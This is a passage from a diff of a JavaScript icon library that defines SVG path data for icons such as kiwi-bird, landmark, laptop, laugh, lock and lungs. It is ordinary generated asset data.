29.7-46.3 98.7-45.5 127.8 4.3 6.4.1 12.6 1.4 18.6 2.9 10.9-27.9 17.1-58.2 17.1-90C496 119 385 8 248 8S0 119 0 256s111 248 248 248c35.4 0 68.9-7.5 99.4-20.9-.3-.7-23.9-84.6-23.9-84.6zM168 240c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm120 156c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-5.7-12.3 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.8-3.7-4.6-16.6 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C274.6 368.7 288 383 288 396zm16-179c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S400 181 404 206.2c1.7 11.1-11.3 18.3-19.8 10.8l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L304 217z" ], + "kiwi-bird": [ 576, 512, [], "f535", "M575.81 217.98C572.64 157.41 518.28 112 457.63 112h-9.37c-52.82 0-104.25-16.25-147.74-46.24-41.99-28.96-96.04-41.62-153.21-28.7C129.3 41.12-.08 78.24 0 224c.04 70.95 38.68 132.8 95.99 166.01V464c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-54.26c15.36 3.96 31.4 6.26 48 6.26 5.44 0 10.68-.73 16-1.18V464c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-59.43c14.24-5.06 27.88-11.39 40.34-19.51C342.07 355.25 393.86 336 448.46 336c25.48 0 16.01-.31 23.05-.78l74.41 136.44c2.86 5.23 8.3 8.34 14.05 8.34 1.31 0 2.64-.16 3.95-.5 7.09-1.8 12.05-8.19 12.05-15.5 0 0 .14-240.24-.16-246.02zM463.97 248c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm80 153.25l-39.86-73.08c15.12-5.83 28.73-14.6 39.86-25.98v99.06z" ], + landmark: [ 512, 512, [], "f66f", "M501.62 92.11L267.24 2.04a31.958 31.958 0 0 0-22.47 0L10.38 92.11A16.001 16.001 0 0 0 0 107.09V144c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-36.91c0-6.67-4.14-12.64-10.38-14.98zM64 192v160H48c-8.84 0-16 7.16-16 16v48h448v-48c0-8.84-7.16-16-16-16h-16V192h-64v160h-96V192h-64v160h-96V192H64zm432 256H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" ], + language: [ 640, 512, [], "f1ab", "M152.1 236.2c-3.5-12.1-7.8-33.2-7.8-33.2h-.5s-4.3 21.1-7.8 33.2l-11.1 37.5H163zM616 96H336v320h280c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24zm-24 120c0 6.6-5.4 12-12 12h-11.4c-6.9 23.6-21.7 47.4-42.7 69.9 8.4 6.4 17.1 12.5 26.1 18 5.5 3.4 7.3 10.5 4.1 16.2l-7.9 13.9c-3.4 5.9-10.9 7.8-16.7 4.3-12.6-7.8-24.5-16.1-35.4-24.9-10.9 8.7-22.7 17.1-35.4 24.9-5.8 3.5-13.3 1.6-16.7-4.3l-7.9-13.9c-3.2-5.6-1.4-12.8 4.2-16.2 9.3-5.7 18-11.7 26.1-18-7.9-8.4-14.9-17-21-25.7-4-5.7-2.2-13.6 3.7-17.1l6.5-3.9 7.3-4.3c5.4-3.2 12.4-1.7 16 3.4 5 7 10.8 14 17.4 20.9 13.5-14.2 23.8-28.9 30-43.2H412c-6.6 0-12-5.4-12-12v-16c0-6.6 5.4-12 12-12h64v-16c0-6.6 5.4-12 12-12h16c6.6 0 12 5.4 12 12v16h64c6.6 0 12 5.4 12 12zM0 120v272c0 13.3 10.7 24 24 24h280V96H24c-13.3 0-24 10.7-24 24zm58.9 216.1L116.4 167c1.7-4.9 6.2-8.1 11.4-8.1h32.5c5.1 0 9.7 3.3 11.4 8.1l57.5 169.1c2.6 7.8-3.1 15.9-11.4 15.9h-22.9a12 12 0 0 1-11.5-8.6l-9.4-31.9h-60.2l-9.1 31.8c-1.5 5.1-6.2 8.7-11.5 8.7H70.3c-8.2 0-14-8.1-11.4-15.9z" ], + laptop: [ 640, 512, [], "f109", "M624 416H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33.02-17.47-32.77-32H16c-8.8 0-16 7.2-16 16v16c0 35.2 28.8 64 64 64h512c35.2 0 64-28.8 64-64v-16c0-8.8-7.2-16-16-16zM576 48c0-26.4-21.6-48-48-48H112C85.6 0 64 21.6 64 48v336h512V48zm-64 272H128V64h384v256z" ], + "laptop-code": [ 640, 512, [], "f5fc", "M255.03 261.65c6.25 6.25 16.38 6.25 22.63 0l11.31-11.31c6.25-6.25 6.25-16.38 0-22.63L253.25 192l35.71-35.72c6.25-6.25 6.25-16.38 0-22.63l-11.31-11.31c-6.25-6.25-16.38-6.25-22.63 0l-58.34 58.34c-6.25 6.25-6.25 16.38 0 22.63l58.35 58.34zm96.01-11.3l11.31 11.31c6.25 6.25 16.38 6.25 22.63 0l58.34-58.34c6.25-6.25 6.25-16.38 0-22.63l-58.34-58.34c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63L386.75 192l-35.71 35.72c-6.25 6.25-6.25 16.38 0 22.63zM624 416H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33.02-17.47-32.77-32H16c-8.8 0-16 7.2-16 16v16c0 35.2 28.8 64 64 64h512c35.2 0 64-28.8 64-64v-16c0-8.8-7.2-16-16-16zM576 48c0-26.4-21.6-48-48-48H112C85.6 0 64 21.6 64 48v336h512V48zm-64 272H128V64h384v256z" ], + "laptop-house": [ 640, 512, [], "e066", "M272,288H208a16,16,0,0,1-16-16V208a16,16,0,0,1,16-16h64a16,16,0,0,1,16,16v37.12C299.11,232.24,315,224,332.8,224H469.74l6.65-7.53A16.51,16.51,0,0,0,480,207a16.31,16.31,0,0,0-4.75-10.61L416,144V48a16,16,0,0,0-16-16H368a16,16,0,0,0-16,16V87.3L263.5,8.92C258,4,247.45,0,240.05,0s-17.93,4-23.47,8.92L4.78,196.42A16.15,16.15,0,0,0,0,207a16.4,16.4,0,0,0,3.55,9.39L22.34,237.7A16.22,16.22,0,0,0,33,242.48,16.51,16.51,0,0,0,42.34,239L64,219.88V384a32,32,0,0,0,32,32H272ZM629.33,448H592V288c0-17.67-12.89-32-28.8-32H332.8c-15.91,0-28.8,14.33-28.8,32V448H266.67A10.67,10.67,0,0,0,256,458.67v10.66A42.82,42.82,0,0,0,298.6,512H597.4A42.82,42.82,0,0,0,640,469.33V458.67A10.67,10.67,0,0,0,629.33,448ZM544,448H352V304H544Z" ], + "laptop-medical": [ 640, 512, [], "f812", "M232 224h56v56a8 8 0 0 0 8 8h48a8 8 0 0 0 8-8v-56h56a8 8 0 0 0 8-8v-48a8 8 0 0 0-8-8h-56v-56a8 8 0 0 0-8-8h-48a8 8 0 0 0-8 8v56h-56a8 8 0 0 0-8 8v48a8 8 0 0 0 8 8zM576 48a48.14 48.14 0 0 0-48-48H112a48.14 48.14 0 0 0-48 48v336h512zm-64 272H128V64h384zm112 96H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33-17.47-32.77-32H16a16 16 0 0 0-16 16v16a64.19 64.19 0 0 0 64 64h512a64.19 64.19 0 0 0 64-64v-16a16 16 0 0 0-16-16z" ], + laugh: [ 496, 512, [], "f599", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 152c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm88 272h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18-8.9 71-69.5 126-142.9 126z" ], + "laugh-beam": [ 496, 512, [], "f59a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm24 199.4c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.8 4.1-15.1-4.5zm-160 0c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.3 7.4-15.8 4-15.1-4.5zM398.9 306C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z" ], + "laugh-squint": [ 496, 512, [], "f59b", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 161.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 180l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM398.9 306C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z" ], + "laugh-wink": [ 496, 512, [], "f59c", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm20.1 198.1c4-25.2 34.2-42.1 59.9-42.1s55.9 16.9 59.9 42.1c1.7 11.1-11.4 18.3-19.8 10.8l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L288 217c-8.4 7.4-21.6.3-19.9-10.9zM168 160c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm230.9 146C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z" ], + "layer-group": [ 512, 512, [], "f5fd", "M12.41 148.02l232.94 105.67c6.8 3.09 14.49 3.09 21.29 0l232.94-105.67c16.55-7.51 16.55-32.52 0-40.03L266.65 2.31a25.607 25.607 0 0 0-21.29 0L12.41 107.98c-16.55 7.51-16.55 32.53 0 40.04zm487.18 88.28l-58.09-26.33-161.64 73.27c-7.56 3.43-15.59 5.17-23.86 5.17s-16.29-1.74-23.86-5.17L70.51 209.97l-58.1 26.33c-16.55 7.5-16.55 32.5 0 40l232.94 105.59c6.8 3.08 14.49 3.08 21.29 0L499.59 276.3c16.55-7.5 16.55-32.5 0-40zm0 127.8l-57.87-26.23-161.86 73.37c-7.56 3.43-15.59 5.17-23.86 5.17s-16.29-1.74-23.86-5.17L70.29 337.87 12.41 364.1c-16.55 7.5-16.55 32.5 0 40l232.94 105.59c6.8 3.08 14.49 3.08 21.29 0L499.59 404.1c16.55-7.5 16.55-32.5 0-40z" ], + leaf: [ 576, 512, [], "f06c", "M546.2 9.7c-5.6-12.5-21.6-13-28.3-1.2C486.9 62.4 431.4 96 368 96h-80C182 96 96 182 96 288c0 7 .8 13.7 1.5 20.5C161.3 262.8 253.4 224 384 224c8.8 0 16 7.2 16 16s-7.2 16-16 16C132.6 256 26 410.1 2.4 468c-6.6 16.3 1.2 34.9 17.5 41.6 16.4 6.8 35-1.1 41.8-17.3 1.5-3.6 20.9-47.9 71.9-90.6 32.4 43.9 94 85.8 174.9 77.2C465.5 467.5 576 326.7 576 154.3c0-50.2-10.8-102.2-29.8-144.6z" ], + lemon: [ 512, 512, [], "f094", "M489.038 22.963C465.944-.13 434.648-5.93 413.947 6.129c-58.906 34.312-181.25-53.077-321.073 86.746S40.441 355.041 6.129 413.945c-12.059 20.702-6.26 51.999 16.833 75.093 23.095 23.095 54.392 28.891 75.095 16.832 58.901-34.31 181.246 53.079 321.068-86.743S471.56 156.96 505.871 98.056c12.059-20.702 6.261-51.999-16.833-75.093zM243.881 95.522c-58.189 14.547-133.808 90.155-148.358 148.358-1.817 7.27-8.342 12.124-15.511 12.124-1.284 0-2.59-.156-3.893-.481-8.572-2.144-13.784-10.83-11.642-19.403C81.901 166.427 166.316 81.93 236.119 64.478c8.575-2.143 17.261 3.069 19.403 11.642s-3.069 17.259-11.641 19.402z" ], + "less-than": [ 384, 512, [], "f536", "M365.46 357.74L147.04 255.89l218.47-101.88c16.02-7.47 22.95-26.51 15.48-42.53l-13.52-29C360 66.46 340.96 59.53 324.94 67L18.48 209.91a32.014 32.014 0 0 0-18.48 29v34.24c0 12.44 7.21 23.75 18.48 29l306.31 142.83c16.06 7.49 35.15.54 42.64-15.52l13.56-29.08c7.49-16.06.54-35.15-15.53-42.64z" ], + "less-than-equal": [ 448, 512, [], "f537", "M54.98 214.2l301.41 119.87c18.39 6.03 38.71-2.54 45.38-19.15l12.09-30.08c6.68-16.61-2.82-34.97-21.21-41l-175.44-68.05 175.56-68.09c18.29-6 27.74-24.27 21.1-40.79l-12.03-29.92c-6.64-16.53-26.86-25.06-45.15-19.06L54.98 137.89C41.21 142.41 32 154.5 32 168.07v15.96c0 13.56 9.21 25.65 22.98 30.17zM424 400H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h400c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z" ], + "level-down-alt": [ 320, 512, [], "f3be", "M313.553 392.331L209.587 504.334c-9.485 10.214-25.676 10.229-35.174 0L70.438 392.331C56.232 377.031 67.062 352 88.025 352H152V80H68.024a11.996 11.996 0 0 1-8.485-3.515l-56-56C-4.021 12.926 1.333 0 12.024 0H208c13.255 0 24 10.745 24 24v328h63.966c20.878 0 31.851 24.969 17.587 40.331z" ], + "level-up-alt": [ 320, 512, [], "f3bf", "M313.553 119.669L209.587 7.666c-9.485-10.214-25.676-10.229-35.174 0L70.438 119.669C56.232 134.969 67.062 160 88.025 160H152v272H68.024a11.996 11.996 0 0 0-8.485 3.515l-56 56C-4.021 499.074 1.333 512 12.024 512H208c13.255 0 24-10.745 24-24V160h63.966c20.878 0 31.851-24.969 17.587-40.331z" ], + "life-ring": [ 512, 512, [], "f1cd", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm173.696 119.559l-63.399 63.399c-10.987-18.559-26.67-34.252-45.255-45.255l63.399-63.399a218.396 218.396 0 0 1 45.255 45.255zM256 352c-53.019 0-96-42.981-96-96s42.981-96 96-96 96 42.981 96 96-42.981 96-96 96zM127.559 82.304l63.399 63.399c-18.559 10.987-34.252 26.67-45.255 45.255l-63.399-63.399a218.372 218.372 0 0 1 45.255-45.255zM82.304 384.441l63.399-63.399c10.987 18.559 26.67 34.252 45.255 45.255l-63.399 63.399a218.396 218.396 0 0 1-45.255-45.255zm302.137 45.255l-63.399-63.399c18.559-10.987 34.252-26.67 45.255-45.255l63.399 63.399a218.403 218.403 0 0 1-45.255 45.255z" ], + lightbulb: [ 352, 512, [], "f0eb", "M96.06 454.35c.01 6.29 1.87 12.45 5.36 17.69l17.09 25.69a31.99 31.99 0 0 0 26.64 14.28h61.71a31.99 31.99 0 0 0 26.64-14.28l17.09-25.69a31.989 31.989 0 0 0 5.36-17.69l.04-38.35H96.01l.05 38.35zM0 176c0 44.37 16.45 84.85 43.56 115.78 16.52 18.85 42.36 58.23 52.21 91.45.04.26.07.52.11.78h160.24c.04-.26.07-.51.11-.78 9.85-33.22 35.69-72.6 52.21-91.45C335.55 260.85 352 220.37 352 176 352 78.61 272.91-.3 175.45 0 73.44.31 0 82.97 0 176zm176-80c-44.11 0-80 35.89-80 80 0 8.84-7.16 16-16 16s-16-7.16-16-16c0-61.76 50.24-112 112-112 8.84 0 16 7.16 16 16s-7.16 16-16 16z" ], + link: [ 512, 512, [], "f0c1", "M326.612 185.391c59.747 59.809 58.927 155.698.36 214.59-.11.12-.24.25-.36.37l-67.2 67.2c-59.27 59.27-155.699 59.262-214.96 0-59.27-59.26-59.27-155.7 0-214.96l37.106-37.106c9.84-9.84 26.786-3.3 27.294 10.606.648 17.722 3.826 35.527 9.69 52.721 1.986 5.822.567 12.262-3.783 16.612l-13.087 13.087c-28.026 28.026-28.905 73.66-1.155 101.96 28.024 28.579 74.086 28.749 102.325.51l67.2-67.19c28.191-28.191 28.073-73.757 0-101.83-3.701-3.694-7.429-6.564-10.341-8.569a16.037 16.037 0 0 1-6.947-12.606c-.396-10.567 3.348-21.456 11.698-29.806l21.054-21.055c5.521-5.521 14.182-6.199 20.584-1.731a152.482 152.482 0 0 1 20.522 17.197zM467.547 44.449c-59.261-59.262-155.69-59.27-214.96 0l-67.2 67.2c-.12.12-.25.25-.36.37-58.566 58.892-59.387 154.781.36 214.59a152.454 152.454 0 0 0 20.521 17.196c6.402 4.468 15.064 3.789 20.584-1.731l21.054-21.055c8.35-8.35 12.094-19.239 11.698-29.806a16.037 16.037 0 0 0-6.947-12.606c-2.912-2.005-6.64-4.875-10.341-8.569-28.073-28.073-28.191-73.639 0-101.83l67.2-67.19c28.239-28.239 74.3-28.069 102.325.51 27.75 28.3 26.872 73.934-1.155 101.96l-13.087 13.087c-4.35 4.35-5.769 10.79-3.783 16.612 5.864 17.194 9.042 34.999 9.69 52.721.509 13.906 17.454 20.446 27.294 10.606l37.106-37.106c59.271-59.259 59.271-155.699.001-214.959z" ], + "lira-sign": [ 384, 512, [], "f195", "M371.994 256h-48.019C317.64 256 312 260.912 312 267.246 312 368 230.179 416 144 416V256.781l134.603-29.912A12 12 0 0 0 288 215.155v-40.976c0-7.677-7.109-13.38-14.603-11.714L144 191.219V160.78l134.603-29.912A12 12 0 0 0 288 119.154V78.179c0-7.677-7.109-13.38-14.603-11.714L144 95.219V44c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v68.997L9.397 125.131A12 12 0 0 0 0 136.845v40.976c0 7.677 7.109 13.38 14.603 11.714L64 178.558v30.439L9.397 221.131A12 12 0 0 0 0 232.845v40.976c0 7.677 7.109 13.38 14.603 11.714L64 274.558V468c0 6.627 5.373 12 12 12h79.583c134.091 0 223.255-77.834 228.408-211.592.261-6.782-5.211-12.408-11.997-12.408z" ], + list: [ 512, 512, [], "f03a", "M80 368H16a16 16 0 0 0-16 16v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-64a16 16 0 0 0-16-16zm0-320H16A16 16 0 0 0 0 64v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16V64a16 16 0 0 0-16-16zm0 160H16a16 16 0 0 0-16 16v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-64a16 16 0 0 0-16-16zm416 176H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + "list-alt": [ 512, 512, [], "f022", "M464 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zM128 120c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm0 96c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm0 96c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm288-136v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12zm0 96v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12zm0 96v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12z" ], + "list-ol": [ 512, 512, [], "f0cb", "M61.77 401l17.5-20.15a19.92 19.92 0 0 0 5.07-14.19v-3.31C84.34 356 80.5 352 73 352H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h22.83a157.41 157.41 0 0 0-11 12.31l-5.61 7c-4 5.07-5.25 10.13-2.8 14.88l1.05 1.93c3 5.76 6.29 7.88 12.25 7.88h4.73c10.33 0 15.94 2.44 15.94 9.09 0 4.72-4.2 8.22-14.36 8.22a41.54 41.54 0 0 1-15.47-3.12c-6.49-3.88-11.74-3.5-15.6 3.12l-5.59 9.31c-3.72 6.13-3.19 11.72 2.63 15.94 7.71 4.69 20.38 9.44 37 9.44 34.16 0 48.5-22.75 48.5-44.12-.03-14.38-9.12-29.76-28.73-34.88zM496 224H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h64a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H64V40a8 8 0 0 0-8-8H32a8 8 0 0 0-7.14 4.42l-8 16A8 8 0 0 0 24 64h8v64H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8zm-3.91 160H80a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H41.32c3.29-10.29 48.34-18.68 48.34-56.44 0-29.06-25-39.56-44.47-39.56-21.36 0-33.8 10-40.46 18.75-4.37 5.59-3 10.84 2.8 15.37l8.58 6.88c5.61 4.56 11 2.47 16.12-2.44a13.44 13.44 0 0 1 9.46-3.84c3.33 0 9.28 1.56 9.28 8.75C51 248.19 0 257.31 0 304.59v4C0 316 5.08 320 12.09 320z" ], + "list-ul": [ 512, 512, [], "f0ca", "M48 48a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm0 160a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm0 160a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm448 16H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + "location-arrow": [ 512, 512, [], "f124", "M444.52 3.52L28.74 195.42c-47.97 22.39-31.98 92.75 19.19 92.75h175.91v175.91c0 51.17 70.36 67.17 92.75 19.19l191.9-415.78c15.99-38.39-25.59-79.97-63.97-63.97z" ], + lock: [ 448, 512, [], "f023", "M400 224h-24v-72C376 68.2 307.8 0 224 0S72 68.2 72 152v72H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48zm-104 0H152v-72c0-39.7 32.3-72 72-72s72 32.3 72 72v72z" ], + "lock-open": [ 576, 512, [], "f3c1", "M423.5 0C339.5.3 272 69.5 272 153.5V224H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48h-48v-71.1c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v80c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-80C576 68 507.5-.3 423.5 0z" ], + "long-arrow-alt-down": [ 256, 512, [], "f309", "M168 345.941V44c0-6.627-5.373-12-12-12h-56c-6.627 0-12 5.373-12 12v301.941H41.941c-21.382 0-32.09 25.851-16.971 40.971l86.059 86.059c9.373 9.373 24.569 9.373 33.941 0l86.059-86.059c15.119-15.119 4.411-40.971-16.971-40.971H168z" ], + "long-arrow-alt-left": [ 448, 512, [], "f30a", "M134.059 296H436c6.627 0 12-5.373 12-12v-56c0-6.627-5.373-12-12-12H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.569 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296z" ], + "long-arrow-alt-right": [ 448, 512, [], "f30b", "M313.941 216H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h301.941v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.569 0-33.941l-86.059-86.059c-15.119-15.119-40.971-4.411-40.971 16.971V216z" ], + "long-arrow-alt-up": [ 256, 512, [], "f30c", "M88 166.059V468c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12V166.059h46.059c21.382 0 32.09-25.851 16.971-40.971l-86.059-86.059c-9.373-9.373-24.569-9.373-33.941 0l-86.059 86.059c-15.119 15.119-4.411 40.971 16.971 40.971H88z" ], + "low-vision": [ 576, 512, [], "f2a8", "M569.344 231.631C512.96 135.949 407.81 72 288 72c-28.468 0-56.102 3.619-82.451 10.409L152.778 10.24c-7.601-10.858-22.564-13.5-33.423-5.9l-13.114 9.178c-10.86 7.601-13.502 22.566-5.9 33.426l43.131 58.395C89.449 131.73 40.228 174.683 6.682 231.581c-.01.017-.023.033-.034.05-8.765 14.875-8.964 33.528 0 48.739 38.5 65.332 99.742 115.862 172.859 141.349L55.316 244.302A272.194 272.194 0 0 1 83.61 208.39l119.4 170.58h.01l40.63 58.04a330.055 330.055 0 0 0 78.94 1.17l-189.98-271.4a277.628 277.628 0 0 1 38.777-21.563l251.836 356.544c7.601 10.858 22.564 13.499 33.423 5.9l13.114-9.178c10.86-7.601 13.502-22.567 5.9-33.426l-43.12-58.377-.007-.009c57.161-27.978 104.835-72.04 136.81-126.301a47.938 47.938 0 0 0 .001-48.739zM390.026 345.94l-19.066-27.23c24.682-32.567 27.711-76.353 8.8-111.68v.03c0 23.65-19.17 42.82-42.82 42.82-23.828 0-42.82-19.349-42.82-42.82 0-23.65 19.17-42.82 42.82-42.82h.03c-24.75-13.249-53.522-15.643-79.51-7.68l-19.068-27.237C253.758 123.306 270.488 120 288 120c75.162 0 136 60.826 136 136 0 34.504-12.833 65.975-33.974 89.94z" ], + "luggage-cart": [ 640, 512, [], "f59d", "M224 320h32V96h-32c-17.67 0-32 14.33-32 32v160c0 17.67 14.33 32 32 32zm352-32V128c0-17.67-14.33-32-32-32h-32v224h32c17.67 0 32-14.33 32-32zm48 96H128V16c0-8.84-7.16-16-16-16H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h48v368c0 8.84 7.16 16 16 16h82.94c-1.79 5.03-2.94 10.36-2.94 16 0 26.51 21.49 48 48 48s48-21.49 48-48c0-5.64-1.15-10.97-2.94-16h197.88c-1.79 5.03-2.94 10.36-2.94 16 0 26.51 21.49 48 48 48s48-21.49 48-48c0-5.64-1.15-10.97-2.94-16H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM480 96V48c0-26.51-21.49-48-48-48h-96c-26.51 0-48 21.49-48 48v272h192V96zm-48 0h-96V48h96v48z" ], + lungs: [ 640, 512, [], "f604", "M636.11 390.15C614.44 308.85 580.07 231 534.1 159.13 511.98 124.56 498.03 96 454.05 96 415.36 96 384 125.42 384 161.71v60.11l-32.88-21.92a15.996 15.996 0 0 1-7.12-13.31V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v170.59c0 5.35-2.67 10.34-7.12 13.31L256 221.82v-60.11C256 125.42 224.64 96 185.95 96c-43.98 0-57.93 28.56-80.05 63.13C59.93 231 25.56 308.85 3.89 390.15 1.3 399.84 0 409.79 0 419.78c0 61.23 62.48 105.44 125.24 88.62l59.5-15.95c42.18-11.3 71.26-47.47 71.26-88.62v-87.49l-85.84 57.23a7.992 7.992 0 0 1-11.09-2.22l-8.88-13.31a7.992 7.992 0 0 1 2.22-11.09L320 235.23l167.59 111.72a7.994 7.994 0 0 1 2.22 11.09l-8.88 13.31a7.994 7.994 0 0 1-11.09 2.22L384 316.34v87.49c0 41.15 29.08 77.31 71.26 88.62l59.5 15.95C577.52 525.22 640 481.01 640 419.78c0-9.99-1.3-19.94-3.89-29.63z" ], + "lungs-virus": [ 640, 512, [], "e067", 